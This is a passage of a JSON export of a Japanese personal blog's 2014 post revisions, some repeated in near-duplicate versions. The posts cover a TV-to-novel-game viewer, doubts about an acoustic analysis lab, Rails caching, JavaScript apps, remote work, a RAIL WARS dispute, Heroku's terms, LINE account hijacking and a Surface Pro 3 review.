2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eいやなんかでもさ、この辺あんま笑い事じゃなくて、 Elastic MapReduce 使ってますみたいな会社があったとして、「企業が大量に所持している個人情報が外国企業の Amazon のサーバーに流出している!!」みたいな事態だと捉えるアホ出るかもしれないじゃん。\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479272036938682369\"\u003eJune 18, 2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eアホは AWS とか知らんからそういう騒ぎにはならないので、アホに Amazon が Amazon Web Services というのを提供しててみんな使ってるというのを知られないようにしなければならない\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479272218455592960\"\u003eJune 18, 2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-06-19T11:59:14.000Z","updated_at":"2014-06-19T11:59:14.000Z"},{"id":2688,"name":"text/テレビ番組をノベルゲームにするの強化","body":"%blog% テレビ番組をノベルゲーム風にするものが強化された\r\n\r\n以前[テレビ番組をノベルゲーム風にするものを作った](/text/%E3%83%86%E3%83%AC%E3%83%93%E7%95%AA%E7%B5%84%E3%82%92%E3%83%8E%E3%83%99%E3%83%AB%E3%82%B2%E3%83%BC%E3%83%A0%E9%A2%A8%E3%81%AB%E3%81%99%E3%82%8B%E3%82%82%E3%81%AE%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F)ことを紹介したが、これを強化した。\r\n\r\n\u003c!--\u003cvideo src='http://gateway.ssig33.com/novel.webm' controls\u003e--\u003e\r\n\r\n以前作成したものは、テレビ番組をノベルゲーム風に再生できるだけのものだったが、今回はそこで表示されている画像をクリックするとそこから動画を実際に再生できるようにした。\r\n\r\nこれによって\r\n\r\n- 字幕をブラウザのページ内検索で検索し、気になる箇所やハイライトと思わしき箇所を再生する\r\n- 字幕とキャプチャだけでは理解しづらい箇所があった場合に動画を併用して内容を確認する\r\n\r\nなどの視聴行動が可能になった。\r\n\r\n動画のハイライトを自動で選択して再生する仕組みは多々あるが、なんだかんだいって人間の判断力によってハイライトを選択するのが一番だと思う。人間は字幕とキャプチャがあれば十分にハイライトを高速に検索することが出来ると思う。\r\n\r\nまた字幕とキャプチャを読むことで高速に番組を確認する場合も、分かりづらい箇所は動画で内容を確認できるようになったので、より高速に高度に番組の内容を理解できるようになった。","created_at":"2014-06-20T03:19:54.000Z","updated_at":"2014-06-20T03:19:54.000Z"},{"id":2689,"name":"text/テレビ番組をノベルゲームにするの強化","body":"%blog% テレビ番組をノベルゲーム風にするものが強化された\r\n\r\n以前[テレビ番組をノベルゲーム風にするものを作った](/text/%E3%83%86%E3%83%AC%E3%83%93%E7%95%AA%E7%B5%84%E3%82%92%E3%83%8E%E3%83%99%E3%83%AB%E3%82%B2%E3%83%BC%E3%83%A0%E9%A2%A8%E3%81%AB%E3%81%99%E3%82%8B%E3%82%82%E3%81%AE%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F)ことを紹介したが、これを強化した。\r\n\r\n\u003cvideo src='http://gateway.ssig33.com/novel.webm' controls\u003e\r\n\r\n以前作成したものは、テレビ番組をノベルゲーム風に再生できるだけのものだったが、今回はそこで表示されている画像をクリックするとそこから動画を実際に再生できるようにした。\r\n\r\nこれによって\r\n\r\n- 字幕をブラウザのページ内検索で検索し、気になる箇所やハイライトと思わしき箇所を再生する\r\n- 字幕とキャプチャだけでは理解しづらい箇所があった場合に動画を併用して内容を確認する\r\n\r\nなどの視聴行動が可能になった。\r\n\r\n動画のハイライトを自動で選択して再生する仕組みは多々あるが、なんだかんだいって人間の判断力によってハイライトを選択するのが一番だと思う。人間は字幕とキャプチャがあれば十分にハイライトを高速に検索することが出来ると思う。\r\n\r\nまた字幕とキャプチャを読むことで高速に番組を確認する場合も、分かりづらい箇所は動画で内容を確認できるようになったので、より高速に高度に番組の内容を理解できるようになった。","created_at":"2014-06-20T03:20:06.000Z","updated_at":"2014-06-20T03:20:06.000Z"},{"id":2690,"name":"text/テレビ番組をノベルゲームにするの強化","body":"%blog% テレビ番組をノベルゲーム風にするものが強化された\r\n\r\n以前[テレビ番組をノベルゲーム風にするものを作った](/text/%E3%83%86%E3%83%AC%E3%83%93%E7%95%AA%E7%B5%84%E3%82%92%E3%83%8E%E3%83%99%E3%83%AB%E3%82%B2%E3%83%BC%E3%83%A0%E9%A2%A8%E3%81%AB%E3%81%99%E3%82%8B%E3%82%82%E3%81%AE%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F)ことを紹介したが、これを強化した。\r\n\r\n\u003cvideo src='http://gateway.ssig33.com/novel.webm' controls autoplay loop\u003e\r\n\r\n以前作成したものは、テレビ番組をノベルゲーム風に再生できるだけのものだったが、今回はそこで表示されている画像をクリックするとそこから動画を実際に再生できるようにした。\r\n\r\nこれによって\r\n\r\n- 字幕をブラウザのページ内検索で検索し、気になる箇所やハイライトと思わしき箇所を再生する\r\n- 字幕とキャプチャだけでは理解しづらい箇所があった場合に動画を併用して内容を確認する\r\n\r\nなどの視聴行動が可能になった。\r\n\r\n動画のハイライトを自動で選択して再生する仕組みは多々あるが、なんだかんだいって人間の判断力によってハイライトを選択するのが一番だと思う。人間は字幕とキャプチャがあれば十分にハイライトを高速に検索することが出来ると思う。\r\n\r\nまた字幕とキャプチャを読むことで高速に番組を確認する場合も、分かりづらい箇所は動画で内容を確認できるようになったので、より高速に高度に番組の内容を理解できるようになった。","created_at":"2014-06-20T03:20:48.000Z","updated_at":"2014-06-20T03:20:48.000Z"},{"id":2691,"name":"text/日本音響研究所","body":"%blog% NHK の依頼でやじを分析した日本音響研究所について\r\n\r\n\u003e 東京都議会で女性議員が質問を行った際、自民党の会派に所属していた鈴木章浩議員が「早く結婚したほうがいいんじゃないか」とやじを飛ばした問題で、NHKが警察への捜査協力の実績がある民間の音声鑑定の研究所にやじの音声の分析を依頼した結果、鈴木議員がやじを飛ばした直後に、男性の声で「とりあえず結婚」という別のやじが確認され、音の周波数の違いなどから、鈴木議員とは別の男性の可能性が高いことが分かりました。\r\n\r\n\u003e この問題で、NHKは警察への捜査協力の実績がある民間の音声鑑定の研究所「日本音響研究所」に、やじが飛んだ場面の音声の分析を依頼しました。\r\n\r\n[やじの音声分析 直後に別の男性の声も NHKニュース](http://www3.nhk.or.jp/news/html/20140624/k10015465631000.html)\r\n\r\n\r\n### 先代所長について\r\n\u003e 現アダム・スミス大学の「教授」。専門は音声科学。\r\n\r\n[鈴木松美 - Wikipedia](https://ja.wikipedia.org/wiki/%E9%88%B4%E6%9C%A8%E6%9D%BE%E7%BE%8E)\r\n\r\nアダム・スミス大学は著名なディプロマミル。\r\n\r\n### 現所属者について\r\n- [代表取締役 鈴木創|日本音響研究所](http://www.onkyo-lab.com/profhs.html)\r\n- [吉田靖|日本音響研究所](http://www.onkyo-lab.com/profyy.html)\r\n\r\nどちらもプロフィールに学位が記されていないし、論文等のまともな実績も記されていない。 cinii 検索しても全く成果は確認されない。\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/o_fuVF-jfyU\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\nこの動画を見ると「博士」を名乗っているが、何の博士なのかは一切分からない。アダム・スミス大学か?と思って調べたけど詳細不明。\r\n\r\n### まとめ\r\nどう考えても信用していい機関ではないのでは、、、","created_at":"2014-06-25T01:50:28.000Z","updated_at":"2014-06-25T01:50:28.000Z"},{"id":2692,"name":"text/Rails アプリでのビューキャッシュ戦略","body":"%blog%\r\n\r\nキャッシュでレンダリングコストケチっていかないといけないようなことになってる時点でビジネスとして成立してないので撤退を検討したほうがいいと思う。\r\n\r\n殆どスタティックな記事を配信して動的な部分は JS でやるとかあるけど、結局それってサーバー代を使わないかわりに膨大なエンジニアリングコストを使うことになる。意味ない。\r\n\r\n予想外の形でサービスがヒットした結果酷い状態のコードをなんとか飛ばし続けないといけないこともあってその場合はとりあえずキャッシュを導入して時間かせぎをしつつビューをまともにしていくとかそんなことになると思う。けどその場合そこに「戦略」なんてものがあることはなくてひたすら泥縄的な対処が繰り広げられる。\r\n\r\n何か問題がある時にとりあえずキャッシュで本質的な解決が得られるということはないので、データ構造を直していくとか、よい CPU を買うとかもっと本質的な解決法が重要。重ねて言いますがよい CPU を買うのは多くの場合において極めて本質的な解決法。","created_at":"2014-06-26T08:24:44.000Z","updated_at":"2014-06-26T08:24:44.000Z"},{"id":2693,"name":"text/IT 企業のオフィスを子供っぽい雰囲気にする","body":"%blog%\r\n\r\nという言い方が最も適切かどうかは別として、比較的頻繁に執り行われております。内装をそんな感じにするとか、中学高校っぽい部活やるとか。\r\n\r\nで。そういうのいいですねみたいな声が大きいので、そうなっていく IT 企業が多いのですが、\r\n\r\n- ガキっぽいエンジニアは声が大きい\r\n\r\nというだけで、\r\n\r\n- 優秀なエンジニアは子供っぽい\r\n\r\nというわけでは絶対にないと思います。子供っぽいオフィスを用意しとけば優秀なエンジニアが集まるかというとそうではなくて、それで逃げていく優秀なエンジニアも確実にいます。\r\n\r\n優秀なガキっぽいエンジニアみたいのがいないというわけではないですから、そういうタイプの人とそうじゃない人が住みわけられるようなオフィス設計というのがあってもいいのではないかと思ってます。\r\n\r\nこちらからは以上です。","created_at":"2014-06-28T05:18:45.000Z","updated_at":"2014-06-28T05:18:45.000Z"},{"id":2694,"name":"text/JS でアプリ作るの辛いみたいな話","body":"%blog% JavaScript でアプリ作るの辛いみたいな話\r\n\r\nモバイルファースト(という言葉も最近あんまり聞かなくなりましたが)だとかインタラクティブなサイトを作らないといけないだとか、そういう考えのもと JavaScript でやっていくみたいな感じのアレがあります。アレがありますね。アレです、アレ。\r\n\r\nで、アレは辛いというような共通の認識があると思います。\r\n\r\nそこで僕は\r\n\r\n- インタラクティブなサイトを作るな\r\n- 表示を速くしたいだけなら Rails で使われている Turbolinks あたりが落としどころではないのか\r\n - ふつうの Web サイトで Angular.js を使うな迷惑だ\r\n\r\nと思っています。しかし現実にはブラウザで動く表計算みたいなアプリを作ってくれだとか、ブラウザで動くコンシュマー機並のすごいゲームを作ってくれだとか、そういう需要はあります。\r\n\r\nここで考えてみましょう。それらの GUI を作ることが辛くなかったことがこれまで一度でもあったでしょうか。 Web サイトという GUI が PHP や Ruby On Rails などで気軽に作れたのは、「ブラウザですることはまあこんな感じ」という共通理解があった故なのでしょう。\r\n\r\nというわけで当面はまだ難しい GUI を作る辛さに耐えるしかないのではないか。とてもつらい。","created_at":"2014-06-28T09:41:59.000Z","updated_at":"2014-06-28T09:41:59.000Z"},{"id":2695,"name":"text/JS でアプリ作るの辛いみたいな話","body":"%blog% JavaScript でアプリ作るの辛いみたいな話\r\n\r\nモバイルファースト(という言葉も最近あんまり聞かなくなりましたが)だとかインタラクティブなサイトを作らないといけないだとか、そういう考えのもと JavaScript でやっていくみたいな感じのアレがあります。アレがありますね。アレです、アレ。\r\n\r\nで、アレは辛いというような共通の認識があると思います。\r\n\r\nそこで僕は\r\n\r\n- インタラクティブなサイトを作るな\r\n- 表示を速くしたいだけなら Rails で使われている Turbolinks あたりが落としどころではないのか\r\n - ふつうの Web サイトで Angular.js を使うな使う方からしても迷惑だ\r\n\r\nと思っています。しかし現実にはブラウザで動く表計算みたいなアプリを作ってくれだとか、ブラウザで動くコンシュマー機並のすごいゲームを作ってくれだとか、そういう需要はあります。\r\n\r\nここで考えてみましょう。それらの GUI を作ることが辛くなかったことがこれまで一度でもあったでしょうか。 Web サイトという GUI が PHP や Ruby On Rails などで気軽に作れたのは、「ブラウザですることはまあこんな感じ」という共通理解があった故なのでしょう。\r\n\r\nというわけで当面はまだ難しい GUI を作る辛さに耐えるしかないのではないか。とてもつらい。","created_at":"2014-06-28T09:42:17.000Z","updated_at":"2014-06-28T09:42:17.000Z"},{"id":2696,"name":"text/戦争","body":"%blog%\r\n\r\n- みなさんが頑張って書いた JavaScript によってサイトが使いやすくなっていることは殆ど無い\r\n- 殆ど無いというだけであるにはあるし、自分が JavaScript を書けないからといって書いている人をバカにするのはやめろ\r\n\r\nという感じの対立軸があります。殺し合いをしている人達がいます。黙ってコード書くか直ちに自殺しろと思う次第ですのでコードを書きます。","created_at":"2014-06-30T10:47:36.000Z","updated_at":"2014-06-30T10:47:36.000Z"},{"id":2697,"name":"text/フィリピンの戦争","body":"%blog%\r\n\r\n- 化石燃料の自力供給を完成させつつあるアメリカは中東をはじめ外国で軍事力を行使したがらない\r\n- 韓国では政府首脳が日本の自衛隊の力を借りたがらない\r\n - どうやら軍部は自衛隊の力を使いたいようだが\r\n- フィリピンでは[大統領ノイノイその人が日本の集団的自衛権を歓迎している](http://jp.wsj.com/news/articles/SB10001424052702303319204579643874274845930)\r\n\r\nという事実があります。集団的自衛権に関する議論で\r\n\r\n- 日本がアメリカの中東などでの戦争を手伝わさせられる\r\n- 朝鮮戦争の休戦が停止した時に日本が参戦することになる\r\n\r\nという話はわりと頻繁に読むのですが、フィリピンの戦争を日本が押し付けられることになるという話をあんまり読まない気がしています。\r\n\r\nどうやら今のところ日本に守られる気全開の国はフィリピンだけです。フィリピンの情勢について Wikipedia に書かれていることと、カラオケが下手だと殺されるぐらい殺人が多い国だということ以上に知っている日本人がどれくらいいるのでしょうか。\r\n\r\nまとめ: ルソンとかに遊びにいきたい","created_at":"2014-07-04T02:19:31.000Z","updated_at":"2014-07-04T02:19:31.000Z"},{"id":2698,"name":"text/日本の IT が永遠にアメリカに勝てない理由","body":"%blog%\r\n\r\nアメリカのほうが人口が多い。","created_at":"2014-07-08T01:48:57.000Z","updated_at":"2014-07-08T01:48:57.000Z"},{"id":2699,"name":"text/旅と在宅勤務","body":"%blog%\r\n\r\n2 年間以上在宅勤務しています。会社から借りた MacBook Air はとっくにぶっ壊れて適当に放置されています。\r\n\r\n2 年間のうち自宅にいた日数が 365 日に達しているかどうか分からないレベルで旅行その他をしてきました。\r\n\r\n### 生産性は確実に落ちます\r\n- 家でそれなりの机と椅子もしくは無印ダメソファで仕事をする場合の生産性は非常に高いものです\r\n- 一方アジアのよくわからん所や不安定な衛星回線しかない飛行機や船の上で仕事をする場合生産性はそこまで高くありません\r\n\r\nそのようにまあムラは出るのですがそこまで含めて自分の生産能力だと会社に認めてもらえるかどうかという問題になってきます。\r\n\r\nあとまあそういうふざけたことをしてるのを同僚に認めてもらえるかどうか。\r\n\r\n### 環境にロックインされます\r\n好き勝手どっかいきつつクリティカルな責任は会社に背負ってもらいつつ 500 万とか 600 万とか貰ってみたいなことが出来る環境はそう多くはないでしょう。結果として現状の環境に厳しくロックインされます。\r\n\r\n### 全体として固い商売になりがち\r\n従業員の自由を認めている会社はなんだかんだで固い商売をやってることが多いです。企業の収益モデルを楽に計算できるような場合じゃないとそういう遊びを作れないという話でもあるのだろうと思う。\r\n\r\n### まとめ\r\n無印の人ダメソファがそろそろヘタってきたので対策が必要。","created_at":"2014-07-08T07:21:11.000Z","updated_at":"2014-07-08T07:21:11.000Z"},{"id":2700,"name":"text/RAIL WARS の揉め事について雑感","body":"%blog%\r\n\r\n RAIL WARS 原作者が、アニメの鉄道描写にマジギレしてスタッフの首をすげかえさせた\r\n\r\nというような怪文書が流布されたことがありました。作者は明確にこの怪文書を否定していますが、怪文書の対象にされた人がどう言ったところでそのまま信用するというのはあまり知的な態度ではありません。そこでこの問題について気になった僕はとりあえず原作 1 巻を読んでみました。\r\n\r\nすると\r\n\r\n 山の手線は國鉄総裁の「東京の顔は最新の車両にすべき」との指示で、國鉄史上初の幅広車体、ステンレスボデイを採用した。\r\n しかし、実はこの車両の寿命は短い事が分かり、例の「丈夫が一番」という方向に方針が変更になった。だから、それ以降の新車については中央線のように鋼鉄製へと戻った訳だ。\r\n\r\nという描写がありました。これは致命的におかしい話で、史実におけるステンレスボディが短寿命であるのは「そのように設計されている」からです。減価償却までの期間を最低限のメンテナンスで使えるようにし、減価償却したら速攻でリサイクルにまわすという運用の方が結果として安上がりという判断からそうなっているわけです。\r\n\r\nもし作中世界のように、「最初から短寿命運用をするつもりが無い」という場合従来車体同様の運用となるので、 20 年 30 年と長期間の運用になるはずで、「作ってみたら寿命が短かかった」ということはありえません。\r\n\r\nまたステンレスボディについては「サビが出ることを考えなくてよい」故にある程度ボディを薄くすることが出来るので軽量化されているという話で、鋼鉄車体の場合はサビ代の分を強度計算する場合は除いて考えなければならないわけで、結果として車体の耐久性や剛性について大差があるわけではないわけです。\r\n\r\nこのように作者は鉄道についても特に知識や関心が無いのではないかと受け取れる描写がこれ以外にも多々見受けられる為、「原作者が鉄道描写についてキレた」という話は極めて高確率でデマなのではないかと僕は考えています。\r\n\r\nところでこの小説においては現実世界においては「インターン」と呼ばれるようなものが「OJT」と呼ばれていたりする、作中傑出した経営者として賞賛される経営者の行動が極めて雑(不動産を切り売りしただけ)など作者の社会経験が極めて薄いことが散見されます。\r\n\r\nしかしながら作者は 20 年のサラリーマン経験のある人物であり、また作者はこの怪文書を否定するにあたって[自らの会社員経験を誇示するような姿勢](https://www.facebook.com/takumi.toyoda.5/posts/682923241786866)をとっています。\r\n\r\nこのあたりどういうことなのか少し考えていたのですが、以下の二つが考えられると思います。\r\n\r\n1. タイトーには動物園のような部署があり、ゲームのことしか考えていないような動物を猛獣使いのような管理職がハンドリングしてゲームを作っている\r\n2. 豊田巧は企画と大まかなストーリーを考えているだけで実際に書いているのは別人\r\n\r\nこちらからは以上です。","created_at":"2014-07-14T04:31:56.000Z","updated_at":"2014-07-14T04:31:56.000Z"},{"id":2701,"name":"text/RAIL WARS の揉め事について雑感","body":"%blog%\r\n\r\n\u003e RAIL WARS 原作者が、アニメの鉄道描写にマジギレしてスタッフの首をすげかえさせた\r\n\r\nというような怪文書が流布されたことがありました。作者は明確にこの怪文書を否定していますが、怪文書の対象にされた人がどう言ったところでそのまま信用するというのはあまり知的な態度ではありません。そこでこの問題について気になった僕はとりあえず原作 1 巻を読んでみました。\r\n\r\nすると\r\n\r\n\u003e 山の手線は國鉄総裁の「東京の顔は最新の車両にすべき」との指示で、國鉄史上初の幅広車体、ステンレスボデイを採用した。\r\n\u003e しかし、実はこの車両の寿命は短い事が分かり、例の「丈夫が一番」という方向に方針が変更になった。だから、それ以降の新車については中央線のように鋼鉄製へと戻った訳だ。\r\n\r\nという描写がありました。これは致命的におかしい話で、史実におけるステンレスボディが短寿命であるのは「そのように設計されている」からです。減価償却までの期間を最低限のメンテナンスで使えるようにし、減価償却したら速攻でリサイクルにまわすという運用の方が結果として安上がりという判断からそうなっているわけです。\r\n\r\nもし作中世界のように、「最初から短寿命運用をするつもりが無い」という場合従来車体同様の運用となるので、 20 年 30 年と長期間の運用になるはずで、「作ってみたら寿命が短かかった」ということはありえません。\r\n\r\nまたステンレスボディについては「サビが出ることを考えなくてよい」故にある程度ボディを薄くすることが出来るので軽量化されているという話で、鋼鉄車体の場合はサビ代の分を強度計算する場合は除いて考えなければならないわけで、結果として車体の耐久性や剛性について大差があるわけではないわけです。\r\n\r\nこのように作者は鉄道についても特に知識や関心が無いのではないかと受け取れる描写がこれ以外にも多々見受けられる為、「原作者が鉄道描写についてキレた」という話は極めて高確率でデマなのではないかと僕は考えています。\r\n\r\nところでこの小説においては現実世界においては「インターン」と呼ばれるようなものが「OJT」と呼ばれていたりする、作中傑出した経営者として賞賛される経営者の行動が極めて雑(不動産を切り売りしただけ)など作者の社会経験が極めて薄いことが散見されます。\r\n\r\nしかしながら作者は 20 年のサラリーマン経験のある人物であり、また作者はこの怪文書を否定するにあたって[自らの会社員経験を誇示するような姿勢](https://www.facebook.com/takumi.toyoda.5/posts/682923241786866)をとっています。\r\n\r\nこのあたりどういうことなのか少し考えていたのですが、以下の二つが考えられると思います。\r\n\r\n1. タイトーには動物園のような部署があり、ゲームのことしか考えていないような動物を猛獣使いのような管理職がハンドリングしてゲームを作っている\r\n2. 豊田巧は企画と大まかなストーリーを考えているだけで実際に書いているのは別人\r\n\r\nこちらからは以上です。","created_at":"2014-07-14T04:32:55.000Z","updated_at":"2014-07-14T04:32:55.000Z"},{"id":2702,"name":"text/RAIL WARS の揉め事について雑感","body":"%blog%\r\n\r\n\u003e RAIL WARS 原作者が、アニメの鉄道描写にマジギレしてスタッフの首をすげかえさせた\r\n\r\nというような怪文書が流布されたことがありました。作者は明確にこの怪文書を否定していますが、怪文書の対象にされた人がどう言ったところでそのまま信用するというのはあまり知的な態度ではありません。そこでこの問題について気になった僕はとりあえず原作 1 巻を読んでみました。\r\n\r\nすると\r\n\r\n\u003e 山の手線は國鉄総裁の「東京の顔は最新の車両にすべき」との指示で、國鉄史上初の幅広車体、ステンレスボデイを採用した。\r\n\u003e\r\n\u003e しかし、実はこの車両の寿命は短い事が分かり、例の「丈夫が一番」という方向に方針が変更になった。だから、それ以降の新車については中央線のように鋼鉄製へと戻った訳だ。\r\n\r\nという描写がありました。これは致命的におかしい話で、史実におけるステンレスボディが短寿命であるのは「そのように設計されている」からです。減価償却までの期間を最低限のメンテナンスで使えるようにし、減価償却したら速攻でリサイクルにまわすという運用の方が結果として安上がりという判断からそうなっているわけです。\r\n\r\nもし作中世界のように、「最初から短寿命運用をするつもりが無い」という場合従来車体同様の運用となるので、 20 年 30 年と長期間の運用になるはずで、「作ってみたら寿命が短かかった」ということはありえません。\r\n\r\nまたステンレスボディについては「サビが出ることを考えなくてよい」故にある程度ボディを薄くすることが出来るので軽量化されているという話で、鋼鉄車体の場合はサビ代の分を強度計算する場合は除いて考えなければならないわけで、結果として車体の耐久性や剛性について大差があるわけではないわけです。\r\n\r\nこのように作者は鉄道についても特に知識や関心が無いのではないかと受け取れる描写がこれ以外にも多々見受けられる為、「原作者が鉄道描写についてキレた」という話は極めて高確率でデマなのではないかと僕は考えています。\r\n\r\nところでこの小説においては現実世界においては「インターン」と呼ばれるようなものが「OJT」と呼ばれていたりする、作中傑出した経営者として賞賛される経営者の行動が極めて雑(不動産を切り売りしただけ)など作者の社会経験が極めて薄いことが散見されます。\r\n\r\nしかしながら作者は 20 年のサラリーマン経験のある人物であり、また作者はこの怪文書を否定するにあたって[自らの会社員経験を誇示するような姿勢](https://www.facebook.com/takumi.toyoda.5/posts/682923241786866)をとっています。\r\n\r\nこのあたりどういうことなのか少し考えていたのですが、以下の二つが考えられると思います。\r\n\r\n1. タイトーには動物園のような部署があり、ゲームのことしか考えていないような動物を猛獣使いのような管理職がハンドリングしてゲームを作っている\r\n2. 豊田巧は企画と大まかなストーリーを考えているだけで実際に書いているのは別人\r\n\r\nこちらからは以上です。","created_at":"2014-07-14T04:40:18.000Z","updated_at":"2014-07-14T04:40:18.000Z"},{"id":2703,"name":"text/Heroku の利用規約をちゃんと読んだ","body":"%blog% Heroku の利用規約をちゃんと読んだ結果意外だったこと\r\n\r\n- 機械的にアプリ作りまくるのは OK\r\n - 最近 CI 実行毎に Heroku にアプリ作るみたいな蛮行をしている\r\n - これに関してはいずれ記事をどっかに書く\r\n\r\nbot に Heroku に大量にアプリを作らせても怒られないということが分かったので、アプリケーションの QA において革命が起きるということが最近分かってきました。\r\n\r\n僕と同じ目的を目指して専門にやってる PaaS があったりするんだけど今一なので Heroku で蛮行を働くとよい結果になるという感じです。 Heroku の懐の広さに我々は感謝しなければならない。\r\n\r\nあと「PaaS 屋が技術調査の為に Heroku 使ったら問答無用で BAN」とか書いてあって面白かった。","created_at":"2014-07-14T15:07:44.000Z","updated_at":"2014-07-14T15:07:44.000Z"},{"id":2704,"name":"text/LINE 乗っ取りに関して","body":"%blog%\r\n\r\n友達の LINE 乗っ取られて Web マネーのやつ来た!!とか嬉々として報告している人をよく見ますが\r\n\r\n- セキュリティ意識の低い人と友達であるということはあなたのセキュリティ意識が低いということです\r\n - 例えば友達の Facebook アカウントが乗っ取られれば、あなたが友達まで公開している Facebook の情報が抜かれたりするわけです\r\n - LINE でもうっかりタイムラインとかにシリアスな秘密の情報を書いたりしていませんか?\r\n- 乗っ取りが話題になって以降に乗っ取られた人はセキュリティ意識に重篤な問題がある人なので直ちに関わりを断ちましょう","created_at":"2014-07-15T01:53:21.000Z","updated_at":"2014-07-15T01:53:21.000Z"},{"id":2705,"name":"text/LINE 乗っ取りに関して","body":"%blog%\r\n\r\n友達の LINE 乗っ取られて Web マネーのやつ来た!!とか嬉々として報告している人をよく見ますが\r\n\r\n- セキュリティ意識の低い人と友達であるということはあなたのセキュリティ意識が低いということです\r\n - 例えば友達の Facebook アカウントが乗っ取られれば、あなたが友達まで公開している Facebook の情報が抜かれたりするわけです\r\n - LINE でもうっかりタイムラインとかにシリアスな秘密の情報を書いたりしていませんか?\r\n- 乗っ取りが話題になって以降に乗っ取られた人はセキュリティ意識に重篤な問題がある人なので直ちに関わりを断ちましょう\r\n\r\n## 追記\r\nそういえば私も Skype アカウント乗っ取られたことあるので私に注意したほうがいいです。","created_at":"2014-07-15T07:19:21.000Z","updated_at":"2014-07-15T07:19:21.000Z"},{"id":2706,"name":"text/高速に動作する JavaScript を書く","body":"%blog%\r\n\r\nというのは実はどうでもいいことで、ページを長くしすぎない、画像を貼りすぎないとかのほうが重要です。\r\n\r\nDOM 操作は遅いが JavaScript は速いので JavaScript の遅い速いは気にせず無駄な DOM 処理をするなみたいな時代もありましたが、データバインディングしてくれるフレームワークを皆が使うようになって DOM 操作が遅いというのも気にしなくてよくなりました。\r\n\r\nとっても気を遣って書かれた JavaScript + 長大なコンテンツによって恐しく表示が遅くなっているサイトを見たりするととても辛くなります。\r\n\r\n### まとめ\r\nエンジニアがなにをどう気を遣って高速に動作するサイトを作ったところで Google Adsense によってパフォーマンスはグッチャグチャにされるのだから気を回すだけ無駄。","created_at":"2014-07-16T15:37:21.000Z","updated_at":"2014-07-16T15:37:21.000Z"},{"id":2707,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-18T04:05:04.000Z","updated_at":"2014-07-18T04:05:04.000Z"},{"id":2708,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux 